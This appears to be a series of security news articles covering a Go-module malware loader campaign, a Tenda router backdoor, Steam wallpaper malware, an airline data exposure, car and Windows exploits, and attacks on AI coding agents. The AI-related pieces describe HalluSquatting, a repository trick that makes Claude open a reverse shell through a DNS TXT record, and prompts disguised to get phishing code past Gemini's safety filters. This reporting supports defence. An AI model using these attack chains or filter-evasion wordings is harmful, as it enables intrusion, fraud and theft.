Supply-chain security firm Socket has published research findings describing a Go module that posed as a DNS and subdomain scanner while acting as a first-stage Windows malware loader. The firm then traced it to a network of 222 GitHub repositories across 190 accounts. The module published its first version on January 24 this year and has since accumulated more than 1,200 versions, over 700 of them malicious. Socket tracks the campaign as “Operation Muck and Load” and reported the module to the Go security team, which blocked it from the Go module proxy.

Go derives a pseudo-version from the commit timestamp and hash for any commit that lacks a semantic version tag. Socket attributes the sprawl to the threat actor's own GitHub Actions workflow, saying its timed commits could each be resolved as a version, inflating a scanner utility's release history into the hundreds.

Across the confirmed repositories, Socket found the same workflow: it sets the Git email to ischhfd83@rambler.ru, sets the visible commit username to the current repository owner, and then force-pushes a rewritten log file every minute. That split generated owner-attributed activity across disposable accounts while leaving one reusable fingerprint. Socket counted a repository only when both the email and the workflow appeared together, resulting in 222 repositories as the confirmed minimum.

The module's main.go launches a hidden PowerShell command that downloads content from muckcoding.com, decodes it with certutil, and runs the result with execution-policy bypass. Socket describes the decoded script as a multi-layer loader using Base64 encoding and XOR decryption, with a Turkish-language comment in one layer that translates to "run directly, no other step is needed."

Rather than hardcoding a payload URL, the resolver retrieves text from public platforms, searches it for the marker string "LastW," then decrypts the trailing blob with a hardcoded key to recover the actual download location. Primary dead drops include Pastebin and a paste service called Rlim, with fallbacks across YouTube, Instagram, Telegram, Google Docs, and GitCode. If defenders remove one paste or block the final archive URL, the actor can update the resolver content without touching the first-stage loader.

The resolved URL points to a password-protected 7-Zip archive hosted as a GitHub release asset. The loader extracts it into a directory named to resemble a legitimate Microsoft Photos install and launches Microsoft.exe from that path with a hidden window. Decoded payload stages map to AsyncRAT, Quasar, and Remcos-style RAT detections alongside infostealer behavior.

Socket confirmed at least 14 unique malware files across the analyzed set, including Trojan loaders and downloaders, Vidar infostealer, dropper and spyware payloads, and XMRig-related Monero cryptominers. One Loader.exe appeared byte-identically across four separate repositories.

Lure themes span MetaMask and Trust Wallet integrations, seed-phrase utilities, Binance and PayPal automation, Telegram and Discord bots, and game cheats for PUBG, Valorant, and Escape from Tarkov. One PUBG repository, nrevv1lad/Pubg-DESYNC-Menu, presented itself as an external cheat with an installation guide while hosting a Vidar-linked Loader.exe in its source tree.

Socket assesses with high confidence that Operation Muck and Load belongs to the same cluster that Sophos documented in June last year. Sophos researchers Matt Wixey and Andrew O'Donnell traced 141 GitHub repositories, 133 of them backdoored, to the same ischhfd83@rambler.ru address. Sophos also identified "Muck" as one of the actor's aliases, a label now embedded in the muckcoding.com and muckdeveloper.com domains.

Neither GitHub nor the Go team has commented beyond the proxy block.

The Chat Control 1.0 law that enables warrantless mass scanning of digital communications has been voted against multiple times by the EU Parliament. And yet, just like a movie zombie, it keeps getting resurrected by various legal sleight-of-hand moves. Yesterday, one of those tricks worked, as Chat Control 1.0 passed (or rather, was not rejected) in a forced re-vote that required an absolute majority (50% + 1) for active refusal. This brings back the law until 2028, and sets a different stage for September's upcoming discussion on Chat Control 2.0.

After the impending publication in the EU Official Journal, online direct-communication platforms will be allowed to mass-scan their users' data without the need for a warrant, under the guise of looking for child sexual abuse material (CSAM).

The scanning is not mandatory, but big tech firms will have a legal mechanism to rifle through user data. EU firms have historically refrained from doing so, presenting privacy and data sovereignty as selling points, but the legal door is nevertheless now officially open.

The obvious platforms where monitoring can now take place will be e-mail and chat services. Immediate examples include Gmail, iCloud, Hotmail, Discord, Instagram, Slack, Teams, Snapchat, Xbox, and Google Chat.

Although the law's scope is for "interpersonal communications services," the legal mechanism might hypothetically extend to some gray areas like Google Drive, where sending someone a link to a cloud file could be within the scope of the law.

It's worth noting that "direct communication" isn't restricted to one-to-one chats, as it includes group chats; just not public or undirected communications. Additionally, EU law enforcement is still beholden to the same warrant requirement as before — Chat Control 1.0 does not grant a blank pass to authorities to mass-scan user data, or request companies to do so without a targeted warrant.

Thanks to two amendments in yesterday's vote, end-to-end-encrypted (E2EE) communications means (ex: WhatsApp) stay exempt. That means that for now, Chat Control 1.0 isn't a commandment to break encryption, something that has been regularly suggested by lawmakers around the world.

It's as good a time as any to remind people that Instagram messages are no longer E2EE as of May, and that although WhatsApp's messages are encrypted, the service leaks out every single bit of metadata about them — sender, recipient, time, size, etc. As always, Signal is recommended as a privacy-focused communications app.

This latest development in the EU parliament is eliciting widespread public outcry due to the nature of the law itself, but also due to the manner in which it happened. Critics and opponents of the rule are suggesting this move is unprecedented.

Chat Control 1.0 has already been shot down repeatedly, most recently in March. However, European Parliament President Roberta Metsola forced a second reading of the law, and invoked Rule 163's "urgent procedure" mechanism. This had many effects, including bringing up a law that was voted against for discussion yet again; turning the decision into a denial vote (vote-to-deny, not vote-to-pass); exploiting the second-reading requirement that demands an absolute majority vote (50% + 1); and letting the President herself set the schedule. Metsola scheduled the second reading to the very last day before the European Parliament summer recess.

The result was that out of 720 representatives, only 607 actually cast a vote. Of those, 315 (over half) voted against Chat Control 1.0. That figure did not meet the supermajority threshold of 361, which was calculated against a full chamber.

Opponents to Chat Control have posted resources at the Fight Chat Control website, including a breakdown of member-state and individual representative voting positions and contact information.

Ever since the advent of agentic AI, security researchers have been yelling from the top of their lungs about how it's a bad idea to grant user-level permissions to an LLM — for all purposes, a program with non-deterministic outputs and inconsistent handling of inputs. A research paper on HalluSquatting from researchers at Tel Aviv University, Technion, and Intuit, shows how easily one can fool modern AI bots and harness them into a massive army of AI agents, with the research showing that agents can hallucinate potentially malicious code repositories up to 85% of the time.

The mechanism for HalluSquatting (aka "adversarial hallucination squatting") is surprisingly simple, and takes advantage of the fact that when met with unfamiliar terms, bots will not know they're incorrect and hallucinate a "correct" answer. Adding to that, the methods the bots use to come up with said answer are predictable, for example, owner/repository or toolname/toolname GitHub URLs. This is different than just standard typo-squatting, as it exploits the hallucination mechanism itself.

An attacker first identifies an application, code repository, programming library, or bot skill that's gained popularity only in recent months or years — let's say, a new GitHub repo with the URL OriginalOwner/WindowsTelemetryOff. As the bots' training data is not recent enough to contain information about it, GitHub URLs owner/repo combinations SuperHacker/WindowsTelemetryOff , and WindowsTelemetryOff/WindowsTelemetryOff look just as peachy. Likewise, WindowsTelemetryOf and WindowTelemetryOff (note the typos) will be valid candidates.

The attacker then creates a malicious repository using those generated names. When Claude or another code agent is asked to "run the windowstelemetryoff scripts" or a similar instruction, chances are they'll hallucinate the repo name (sometimes even having run a web search), run into the malicious version that looks like the original, and happily run whatever's in there.

From that point, all bets are off now that the attacker's code is running on the user's machine. The most obvious outcome could be creating a reverse shell (the user's machine opens a command line that's controlled remotely). Now having access to the user's account, the attacker can siphon off their data and passwords, install software, run crypto miners, or harness their AI agent for further malfeasance, all with the power of entire data centers at their disposal.

And here's the kicker: just the one HalluSquatted piece of software has the potential to bait and reel in tens of thousands of bots, if not more, in a proverbial blink of an eye. A crafty attacker would be kind enough to include all the original code in their poisoned version, adding yet another layer of unawareness to the mix.

The research team found that an LLM will hallucinate the location of a recent code repository up to 85% of the time, a figure that can reach 100% for trending agentic skills. Every single model is widely affected, up to and including Anthropic's mighty Claude Opus 4.5. At the application level, the figures are better, but still pretty bad.

The scientists are working on common LLM-backed programming applications, including Cursor, Windsurf, and OpenClaw, among others. In this scenario, the bots stand a better chance given they're working with more context information, but even still, the success rates for hacking ranged from 20%-35% for Cursor, Gemini CLI, and Copilot, and increased massively to close to 80-100% on OpenClaw and its variants. The exploit mechanism doesn't even need to be crafted specifically for any bot; the researchers' results show it's universal and transferable, too.

The mean hallucination rate for names of sample GitHub repositories published in 2025 is 92.4%, while predictably, bots get the URLs wrong 0.9% for those from 2019 or earlier, though that's arguably still a concerning figure. The most effective mitigation is adjusting workflow: instructing bots to always run web searches before installing software, and providing them with additional context. Unfortunately, that's not the default way most people appear to use them.

Cybersecurity professionals have long advocated for not blindly trusting a bot's actions and severely restricting the access level granted to AI agents. And yet it's not uncommon to see bots with wide-ranging permissions over users' machines, API keys, access keys, and service accounts, to name a few — all in a bid to make it "easier" for the bot to vibe-code their pointy-haired-boss' latest brilliant idea.

The CERT Coordination Center (CERT/CC), a U.S. government-backed cybersecurity group at Carnegie Mellon University's Software Engineering Institute, disclosed a firmware flaw on July 6 that can hand attackers full administrative control over several Tenda networking devices. The vulnerability, tracked as CVE-2026-11405, is an undocumented authentication backdoor in the affected models' firmware that bypasses the normal login process and grants access to the devices' web management interface without valid credentials. Compounding the risk, there is currently no security patch available, as Tenda — a Shenzhen-based budget networking brand with a large presence in India and other markets — is yet to respond despite CERT/CC reaching out on the issue.

CERT/CC lists five affected firmware versions spanning the FH1201, W15E, AC10, AC5, and AC6 router families. The advisory, which credits an anonymous researcher for the finding, does not describe this list as exhaustive. The list covers only the specific builds the researcher reported to CERT/CC, as there is no vendor-confirmed scope. According to the advisory, the flaw resides inside the routers' built-in web server, where an undocumented authentication routine allows administrative access without requiring the configured administrator credentials.

Like most consumer routers, Tenda devices provide a password-protected web management interface for configuring Wi-Fi settings, firewall rules, DNS servers, firmware updates, port forwarding, parental controls, and other core networking features. Because these interfaces control most aspects of a router's operation, they are typically protected by authentication mechanisms designed to prevent unauthorized users from making changes that could compromise an entire home or business network.

According to the advisory, the affected firmware initially performs authentication as expected, verifying the administrator password with a standard MD5-based check. However, when that verification fails, the login routine quietly follows a second, undocumented code path. Instead of immediately rejecting the login attempt, the firmware retrieves another password stored internally under the configuration key sys.rzadmin.password and compares it directly against the user-supplied password using the standard C library function strcmp().

If the supplied password matches this hidden value, the firmware immediately creates a valid administrator session with full privileges. Even more concerning, the associated username is never validated, meaning any username can be used as long as the hidden password is supplied. As a result, the mechanism effectively bypasses the router's configured administrator account altogether.

While CERT/CC did not disclose the hidden password itself, the existence of an undocumented secondary authentication path significantly weakens the security model of affected devices. Unlike conventional authentication vulnerabilities that stem from implementation errors, this is a separate login path rather than a flaw in the existing one, granting administrative access through credentials that are neither documented nor exposed through the router's management interface. Whether that path was placed there deliberately or left in as a forgotten development feature is unclear. CERT/CC draws no conclusion on intent, and Tenda's silence settles nothing.

Successful exploitation grants an attacker unrestricted control over the router's configuration. With administrator access, an attacker could modify network settings, change DNS servers to redirect internet traffic, disable security protections, replace administrator credentials, or enable additional remote access features. As routers serve as the gateway between local devices and the internet, compromising one can expose every connected system on the network to further attacks.

Pending official Tenda firmware updates, CERT/CC recommends disabling remote web management wherever possible to prevent attackers from reaching the administrative interface over the internet. The organization also advises limiting local network exposure, noting that while changing a router's default LAN IP address may reduce opportunistic discovery by automated scanning tools, it does not protect against determined attackers performing targeted network reconnaissance.

The disclosure echoes the concerns the Federal Communications Commission (FCC) cited when it added certain foreign-made networking products to its Covered List in March, preventing new models from receiving the authorization required for import and sale in the U.S. The FCC argued that compromised consumer routers can provide attackers with a foothold into home and small-business networks. An undocumented administrator backdoor in widely sold networking equipment — combined with the absence of a vendor patch or response — illustrates the type of supply-chain security risk regulators seek to address.

The Internet is buzzing over news that 19-year-old Estonian "hacker" Peter Stokes got nabbed by the authorities and extradited to the U.S. on digital crime charges, mostly thanks to Microsoft Windows' built-in telemetry. The FBI seemingly subpoenaed Microsoft, which coughed up telemetry logs that contained both Stokes' GDID (Global Device Identifier) and websites he visited using his main Windows machine.

The existence of GDID isn't new by itself, as Windows telemetry's data collection has been extensively analyzed and reported on. It's also been known, and publicly explained by Microsoft, that the extended telemetry modes (Full/Optional instead of Required/Basic) can upload lists of URLs analyzed by SmartScreen and Defender, together with the GDID. In fact, using the Edge browser in this setup can even send every visited URL. The court documents do not reveal which exact mechanism triggered the telemetry upload, though.

This data collection has long been the source of heated debate and general public disgust. Even though the data is genuinely useful and necessary for debugging (by Microsoft or systems administrators in enterprise environments), the fact that it comes enabled by default in Windows Home and Professional editions is questionable. The fact that those versions don't have a simple, user-facing "Off" switch to fully disable telemetry also adds insult to injury.

The Peter Stokes arrest appears to be the first public case where these Windows GDIDs were both used as a tracking identifier and contained telemetry data including some of the URLs the defendant visited. The case also prompted a renewed analysis of the GDID by a security researcher that you might want to look into. From what we can ascertain, it's likely Stokes had his Windows telemetry set to Optional/Full, as Required/Basic doesn't appear to transmit URLs by default.

Using the telemetry GDID, the FBI easily connected the dashing rogue to his ngrokaccount, because he used that tool in the same session in which he accessed his Facebook and Snapchat accounts. The agents also established a link between travel records, a New York IP address, and a rental at the Empire Hotel, likely facilitated by the photos Stokes posted of his hotel room. The criminal mastermind was equally sneaky (read: not) in his visit to Thailand.

As many hackers do, he enjoyed some time off playing an obscure game, in this case Ubisoft's Growtopia, shortly before accessing his Apple logins, as well as the aforementioned Facebook and Snapchat logins over the following weeks. Besides Microsoft, Google and Apple also collaborated on the hunting effort, with Google linking Stokes' phishing phone number to the same exact IP address and date where he created the ngrok account. Ever the stealthy craftsman, Stokes had created the ngrok account using the same GMail address connected to a second phone number where he made phishing calls from.

While it's easy and arguably quite necessary to hoist pitchforks at Microsoft for collecting detailed information about billions of computers by default, security professionals will be quick to remind users that Windows' telemetry is merely one of the many ways to track a user. Even if not by malice, a lot of software simply requires GDID-like identifiers for things like tracking usage, subscription and licensing limitations, activation requests, and hardware detection. And every company behind such software can be subpoenaed by authorities, as exemplified in Stokes' case by Microsoft, Google, Apple, ngrok, and others. Even privacy-oriented services like Proton are careful enough to describe what they can and cannot reveal to authorities under a court order.

If you're wondering the steps Stokes took to cover his tracks, though, you'd be looking at a small list. He did route his connections through a VPN hosted at servers from Tzulo along with the developer-oriented ngrok tunneling service and teleport.sh. Unfortunately, the modern digital world allows for many forms of identification, and hiding one's source IP address is merely one of them.

Using a VPN is recommended for digital anonymity, but it's merely the first of many necessary steps and can even backfire when not set up carefully. If misconfigured, a VPN may allow certain applications and operating system features to talk to the outside world using the original IP instead of the hidden one. Plus, the VPN will not stop the operating system or any application from sending out identifying information to begin with.

Perhaps more worryingly still, modern-day device and user fingerprinting is far more insidious and hard to counter. For example, plain web browsers are notorious leakers of personal information, as data-harvesting companies can weaponize features like TLS levels, HTML5 Canvas functionality, the fonts list, and even Widevine DRM in a combination that uniquely identifies a visitor. Stokes now has plenty of time to read up on the EFF's surveillance self-defense guides and get acquainted with the scripts at the Privacy Is Sexy website.

If you read or watch any privacy tutorial on the internet, one of the first tips will be to start using anonymized email addresses in some form — providing a fake email that redirects to your real one. Many email providers offer this functionality, and so does Apple's basic paid iCloud plan with the Hide My Email feature. But apparently Apple's implementation of the feature is trivial to crack — which means anyone can find your real email address with little effort, according to 404 Media.

The privacy vulnerability has been known to Apple for just over a year, and was first reported by Tyler Murphy, co-founder of data removal company EasyOptOuts. The folks at 404 Media claim they tested the vulnerability themselves and that, sure enough, it takes minimal effort to figure out the real address behind the fake alias — with a 100% success rate.

Apple doesn't seem to be bothered by the issue, given that Murphy revealed the problem in June 2025, and the company only executed a fix in March 2026. Post-fix, however, Murphy verified the issue remained (and apparently the last time he heard back from Apple back was in May, when the company said said it was still investigating). There are no further updates, it seems, and this is poor optics for a company that talks a big game about user data privacy.

Neither the researcher nor 404 media divulged the exact mechanism, despite the one-year timeframe being well past the common 90-day security vulnerability disclosure window. This is likely to avoid putting a lot of users at risk of exposure, considering that Apple has passed one billion paid subscribers. Even if only 1% of users use Hide My Email, that still accounts for 10 million people.

Given the lack of technical details, it's hard to pin down where the problem could lie. Accidental revelations of aliased emails have happened several times, by the hand of client software trying to be helpful and "fixing" the reply path, and by servers mismanaging email headers.

Perhaps adding insult to injury, Apple recently stated that it's going to move Hide My Email addresses to their own domain, "private.icloud.com", making it easy for websites to reject such addresses in a bid to always have users' real contact info. Murphy suggested that the company stop sales of the Hide My Email feature until the data leak matter is resolved, but, again, there's been no response.

Late spring and early summer in the cybersecurity world were marked by multiple Windows exploits, thanks to the efforts of the controversial hacker figure Nightmare Eclipse. One of the better-known exploits is BlueHammer, a race condition in Windows Defender that gets you a shell with access to the SYSTEM user with just a small script — in other words, the keys to the kingdom in exchange for a double-click. Microsoft released a patch on April 14, but as a clear illustration of the lack of cybersecurity awareness, CISA (the U.S. cyber-defense agency) yesterday marked BlueHammer as actively exploited in ransomware campaigns.

That marks about a month and a half since the patch, and it illustrates quite clearly that when it comes to computer security, the publication of a patch is almost always the easy part; getting that patch into every device that needs it is the real tricky bit. The patch is part of standard Windows updates, too, so there's really no technical reason for not installing it. Additionally, since BlueHammer gets the attackers a SYSTEM shell, the ransomware in question may encrypt parts of the OS or the boot process rather than "just" the data files, potentially making machines unusable on top.

While stating that "people don't patch their machines" is a broad statement that won't surprise anyone in the field, a recent report from security vendor Absolute claims the application of critical OS patches across Windows 11 and 10 lags 127 days (over 4 months) on average, and that figure basically doubled since last year. Even in enterprise settings, Absolute says the average time-to-patch is shockingly high at 76 days, or 2.5 months. While one vendor's claims aren't gospel, the figures aren't too hard to believe; plus, they're averages, meaning half the machines purportedly go unpatched for longer than those timeframes.

Depending on the source, estimates on the percentage of Windows 10 machines can vary between 15% (PassMark) and 26% (StatCounter). Calling it 20% for simplicity's sake, that's 1 out of 5 machines almost guaranteed to be unpatched. Techies like us know full well that Microsoft has extended security updates (ESU) for Windows 10 twice now, with the new real EOL now being October 14, 2027. The problem is, although enrolling a machine into ESU is trivial, the lack of public awareness essentially guarantees these machines will remain vulnerable until they're upgraded or replaced.

Meanwhile, Nightmare Eclipse says they're "done with taking a break", and that "July will be an incredibly interesting month because [they] will drop some really interesting and possibly insanely controversial findings."

"Think out of the box" is painted onto millions of motivation posters across the world, a shooting message for middle managers and eliciting eyerolls from most everyone else. And yet that's exactly what the researchers at Mozilla's 0din did, by tricking Claude into running malware in a roundabout yet deceptively simple way, by merely asking it to initialize a project from a pretty clean-looking GitHub repository.

An attacker would then have control over the developer's own account, accessing all their secrets, API keys, code, documents, browser sessions, and passwords. They could even install additional malware to maintain permanent access. Suffice to say, almost every bot agent is susceptible to this type of attack, though Claude is the default choice for programming tasks.

Here's how it works. All a victim developer has to do is tell Claude to initialize a project from a malicious GitHub repository (or tell it to configure it after cloning it themselves). Said repo looks pretty clean, with just a handful of scaffolding files, and most importantly, nothing that will trigger security tools, whether remote, local, or even Claude's own checks.

Claude will clone the repo. The first file it will process will be a "readme" or Markdown file describing how to initialize a Python environment with the Axiom package, a commonly used monitoring tool. So far, this appears completely legitimate. However, there's a fake Axiom startup script that will simply error out the first time it's run. This is the first step that tricks the box, because in order to be helpful and solve the problem, it'll run another innocuous-looking command to initialize Axiom: "python3 -m axiom init".

This then triggers a shell script that downloads a bit of software to run, another standard operation that won't raise an eyebrow. But the second trick is that instead of downloading from a malicious URL that could be scanned, the script reads the DNS text records of a specific domain — in this case, the domain "_axiom-config.m100.cloud". This too looks kosher enough, as for example, e-mail and by extension its configuration tools extensively rely on TXT records.

The said TXT record contains an encoded (base64) string that just opens a reverse shell, meaning it'll open a shell on the user's machine, but redirected to the attacker's server for input. At this point, the malfeasants can fish out everything that the user has access to and proceed to run software as the user. Meanwhile, all that Claude and the victim see is an "Environment ready" message or similar.

If you've been counting, this is three steps of indirection, none of which in isolation look like anything much out of the ordinary. Very few (if any) security scanning tools would even flag the repository, and none of the activity, save for the actual opening of a remote shell, even looks particularly odd. An enterprise environment with very tightly controlled network access could catch it, but that's not where the vast majority of developers operate in. It's also worth stressing that this particular implementation is just one example of a concept that can be applied to even more indirect and elaborate methods.

The 0din team concludes its report by stating the reasonably obvious: that developers should never blindly trust an unknown project as trusted code, and naturally, not trust the AI tool itself for security analysis purposes. As for the agents themselves, 0din states they need to inspect what actually will run and how, instead of simply following steps.

Attackers have spent the past several months smuggling malware into Steam through animated desktop wallpapers, hijacking the accounts of victims who install them and then using those stolen accounts to upload more infected files. That’s according to Kaspersky researchers Maxim Starodubov and Denis Brylev, who recently authored a report published on Securelist. Per the report, the malware campaign has been running since late last year and focuses on gamers in China, pushing everything from credential stealers to crypto miners and ransomware. Kaspersky found dozens of malicious packages, some downloaded tens of thousands of times before removal.

The culprit is Wallpaper Engine, a $4.99 live wallpaper tool that ranks among Steam's most-used non-game titles, with 93,000 to 114,000 concurrent users and nearly a million reviews. The app supports four wallpaper types, and one of them, the "application wallpaper," is a standalone executable Windows program that runs as the desktop background. That also makes it a pathway for third-party code to execute on a user's machine, which is exactly what attackers exploited.

Kaspersky observed two delivery methods. In some packages, the malicious EXE files, DLLs, or scripts sat directly alongside the legitimate wallpaper files. In others, the payload was tucked inside a password-protected archive, with the password either embedded in the archive name or in a JSON config file, allowing a script to open it automatically. Applying the wallpaper triggered the payload.

In a sample examined last December, the researchers managed to boot a functional desktop game while discreetly dropping a DarkKomet backdoor named Synaptics.exe and a tampered system library, AggregatorHost.dll. That library locates the running Steam app, hunts for account credentials, hijacks the live session, and ships the data to a command-and-control server. Control of an active session lets the attackers post fresh malicious wallpapers under the victim's name, which is why the campaign keeps regenerating after takedowns.

Kaspersky placed 89% of malicious download attempts in China, followed by Russia at 5.5% and smaller shares in Singapore, Hong Kong, Germany, Vietnam, India, and Canada. That concentration aligns with the wider Wallpaper Engine user base, which skews heavily toward China. Payloads spanned the DarkKomet backdoor, the Lumma and Vidar infostealers, the RenEngine loader, miners, and ransomware, a spread the researchers attributed to multiple independent groups piling onto the same technique rather than a lone threat actor or group.

This follows a run of malware reaching players through Valve's storefront over the past few years. A compromised Slay the Spire mod was distributed through the Workshop on Christmas Day 2023, the Chemia Early Access game shipped with three malware strains in July last year, and the BlockBlasters title drained roughly $150,000 from players in the following September. As of March, the FBI was seeking victims of infected Steam games dating back to 2024.

Bob is a hacker. Just over three months ago, they found serious vulnerabilities in Frontier Airlines' API and website that would let anyone with a boarding pass code for a flight retrieve every passenger's personal information, including but not limited to home address, nearly all credit card info, full passport details, and even TSA PreCheck codes. The boarding pass code (called PNR) is written on the pass itself, or scannable via its barcode; plus, since it's only six digits, it's easy to loop through, something they replicated to find several passengers' full info.

Bob notified Frontier about the problem, but the company did very little to fix it; getting a hold of the aforementioned info now required the passenger's last name, also printed on the pass. So they published a post on their blog detailing several vulnerabilities in Frontier's website.

The security vulnerability is dead simple: all you have to do is take a peek at someone's boarding pass, and either note the number and the person's last name, or scan the associated barcode. Any of these is trivial with a phone. Then you feed that info into one of Frontier's mobile API endpoints, and presto, you'll get a reply back that includes every passenger's home address, e-mail, phone number, full date of birth, full passport data, almost the entire credit card info save for the 5 middle digits and the CVV, payment history, TSA PreCheck code, and more.

All of that info is usable for identity theft, stalking, or any other number of nefarious criminal activities. The TSA PreCheck code (Known Traveler Number) is particularly concerning for airlines, as it opens the possibility of an identity thief getting past security checks. As for the credit card number, since the first six numbers and last four are exposed along with the cardholder's name and expiration date, it's easy enough to guess the middle five digits, and then the CVV code at the back becomes the sole load-bearing security feature.

This is hardly the end of it, though. As Bob came to find, the booking management pages on Frontier's website (also reachable with just the booking number and a last name) equally expose personal information in their source code and/or API requests. Standard security practices dictate that easily-accessible pages like this use the principle of data minimization, retrieving and displaying the bare minimum until absolutely necessary.

Bob found that the "Manage My Booking" page clearly shows the name, e-mail, and phone number in the source code, while that of the "Passengers / Edit" page reveals each person's full name, country, date of birth, full passport info, and TSA PreCheck number again. Ironically, Frontier attempted a fix for the former issue, only to have the fixed version reveal more info than it originally did. These pages do obscure the data for display purposes, but it's right there in the source code and API calls.

The security expert originally reached out to Frontier on March 3 and followed up on March 9, attempting to follow the standard 90-day disclosure procedure. The company fixed the one vulnerability and sent Bob a model plane for their trouble. Bob followed up with the additional data-exposing issues and started a "compensation discussion" with the company. Frontier apparently flip-flopped on a proper response. Now, Bob says Frontier's critical vulnerabilities are still live and that Frontier's passengers "deserve better."

The FBI, Google, and Lumen Technologies say they’ve dismantled a China-based phishing-as-a-service operation called Outsider Enterprise, seizing its servers and payment wallets, and instigating a civil lawsuit. Sold through a Telegram bot for as little as $88 per week, the kit allowed buyers to spin up fake bank, toll, and delivery pages in minutes, with Google's complaint alleging its operators handed out tutorials teaching subscribers to prompt Gemini for the underlying code. The FBI links the platform to roughly 3.87 million stolen credit cards and an estimated $1.9 billion in losses since July 2023.

Zero technical skill was required to operate the Outsider software. Subscribers simply paid $88 per week, or $200 per month, via a self-service Telegram bot before choosing from more than 290 pre-built templates impersonating banks, wireless carriers, government agencies, state DMVs, the U.S. Postal Service, and toll systems such as New York's E-ZPass, according to the complaint filed in the Southern District of New York.

The kit captured victim data in real time and could request SMS codes, PINs, email codes, and app approvals on demand, allowing operators to retrieve one-time passcodes for two-factor authentication. Fake E-ZPass and other toll texts have driven a wave of fraud over the past two years.

Google's filing alleges Outsider distributed step-by-step instructions, including a tutorial video, showing customers how to make Gemini write the HTML for a phishing page. The prompts were dressed up as requests for an innocuous "gift redemption page" built with inline CSS and no JavaScript, wording that was meant to read as ordinary coding help and avoid the model’s safety filters.

The resulting shell was imported back into the Outsider software and became a working scam site, multiplying the variations available from the 290 templates. Google has previously reported nation-state hackers using Gemini across phishing and intrusion campaigns, and researchers last year demonstrated a Gemini for Workspace flaw that obeyed instructions hidden inside emails. “Criminals increasingly use AI to make fraud like this more convincing and harder to detect,” said Brett Leatherman, assistant director of the FBI's Cyber Division.

The operation, dubbed Operation Ghost Hook and part of the FBI's wider Operation Riptide, seized the group's core admin domains, a Shopify storefront, and about $100,000 in USDT from Outsider payment wallets. Thousands of phishing domains registered through U.S. providers now redirect to an FBI splash page, and investigators used the group's own Telegram bot to pull data on its customers. Google's own count is narrower than the FBI's, citing hundreds of thousands of victims and 2.5 million scam texts sent to Android users over a two-week period in May.

For its civil suit, the company is pursuing claims under the Racketeer Influenced and Corrupt Organizations (RICO) Act and trademark infringement, though it concedes the unnamed defendants are unlikely to face extradition from China. The action follows a Google suit against the Lighthouse phishing platform last November, tied to more than 1 million victims across 120 countries.

Software architect Eric McDonald discovered that the infotainment system of their 2021 Honda Civic has a glaring vulnerability through its front USB port. According to the post on their blog, Honda allows the head unit of this particular vehicle to be updated via USB. However, it apparently does not have strong security measures, with the hardware only looking for a signed AOSP (Android Open Source Project) file with a publicly known test key.

If you know how to set up a USB drive and sign it with this AOSP test key, you (or anyone else, for that matter) can potentially install anything on your head unit through the update path. While this is useful for tinkerers who want to get more out of their vehicles, McDonald also noted that it can be used for an “evil maid attack.” This method of compromising hardware uses the temporary physical access of a person (like a hotel maid, for example) to install malware on equipment. In their example, they said that a journalist could leave their car with a valet, and then the said valet could install malware on their infotainment system, thus giving the vulnerability the name “EvilValet.”

Once the app or malware has been installed, it could then use the myriad sensors that vehicles have to record conversations, track locations, and even capture video recordings with the owner none the wiser. It could then use the various wireless connectivity options of the infotainment system, like Bluetooth, Wi-Fi, or even cellular, to exfiltrate the data it captured.

Note that this does not affect the safety of the vehicle since the malware is limited to the infotainment system. That means it’s still impossible for the attacker to remotely control the engine or braking systems, modify its safety features, or even unlock the vehicle. But still, this is a major privacy and security concern, especially given that the Honda Civic is such a popular model. Even though most high-value targets have specialized security that helps prevent attacks like this, it could still be used against the people around them, like their security or staff, and then use the gathered information for reconnaissance or even as leverage to gain access to the target. It’s also possible that the same vulnerability exists in other car makes and models, especially as OEMs could supply the same infotainment system hardware/software to multiple brands.

Vulnerabilities like these have been known for years in the car industry — we have a report from eight years ago where Volkswagen refused to patch a flaw that could be exploited over the internet on VW and Audi models because they don’t have OTA update capabilities. There has also been a 2017 post on WikiLeaks that suggests that the CIA looked into taking control of cars remotely through vehicle vulnerabilities. While internet connectivity and software features have made driving more convenient, the lack of even basic security is alarming. This is only bound to get worse as almost every new car available today has some form of advanced driver assistance systems, digital infotainment systems, wireless connectivity features, and more.

If you want to experiment with the head unit on your 2021 Honda Civic, McDonald built tools to make it easier to “jailbreak.” You can check out the available files on GitHub, but, as usual, you should be careful when tinkering with the infotainment system on your vehicle, as you could end up bricking it, meaning you’ll have to replace it with a new one instead.

Ever since appearing on the cybersecurity scene, Nightmare-Eclipse (aka Chaotic-Eclipse) has probably been the largest thorn in the side of the Microsoft Security Response Center. The long-running saga between Redmond and the disgruntled cybersecurity expert got a couple of new chapters this week, thanks to the release of the RoguePlanet and GreatXML exploits.

RoguePlanet is probably the nastiest one, as it takes advantage of yet another vulnerability in Windows Defender to gain SYSTEM user access privileges, letting an attacker execute commands at a privilege level even higher than the standard Administrator. The practical mechanism is simple: just fool a user into running a script, and said script will get full access to the machine, granting the ability to syphon all data, keep exfiltration malware installed, or any other number of malicious activities.

It's worth noting that RoguePlanet is dependent on a race condition seemingly between ISO mounting and Volume Shadow Copy, meaning that it's timing-based, and the exact conditions under which it can be triggered aren't guaranteed to happen every time in the victim machine. Eclipse themselves say that while they had a 100% success rate on certain installs, the exploit "struggled to work on others."

They do remark that RoguePlanet operates on a fully patched Windows system that includes the recently released June 2026 update, and that they're fairly certain that Windows Server is likewise vulnerable, necessitating a redesign of the proof-of-concept code to work around the fact that users on Server editions can't mount ISOs by default.

As for GreatXML, it's yet another BitLocker bypass. It's far less scary than YellowKey, as the exploit conditions are much more strict, but it's still somewhat of an egg-on-face moment for Microsoft. To run the bypass, an attacker needs to write a specially crafted "unattend.xml" and a "Recovery" directory to Windows' recovery partition. Then, if a Windows Defender Offline Scan is run or has been run in the past, rebooting into the recovery environment will open the BitLocker-protected drive just fine.

The requirements are a pretty high bar to clear for an attacker, but the validity of the approach still raises questions about which backdoor-looking behaviors are still present in BitLocker and the Windows Recovery Environment (WinRE). Eclipse believes that it may be possible to trigger a Defender Offline Scan without logging in, but that's not a certain thing at this point. Having said that, it wouldn't be surprising if tomorrow they came up with a way to do just that.

Given that Eclipse's spat with Microsoft has resulted in Redmond banning their GitHub account, the researcher has since moved their proof-of-concept to Church of Malware, a somewhat unrestricted community and code repository for exploits. Amusingly enough, though, a secondary GitHub account of theirs remains online.

The firm previously threatened legal action against Eclipse, too, but has since backed down. From their side, Eclipse had previously threatened to mass-disclose zero-day Windows vulnerabilities on July 14. They too have since then relented, stating that writing RoguePlanet took more time than expected, and that they may take a break and seemingly won't make the July 14 date the Windowspocalypse Day after all.

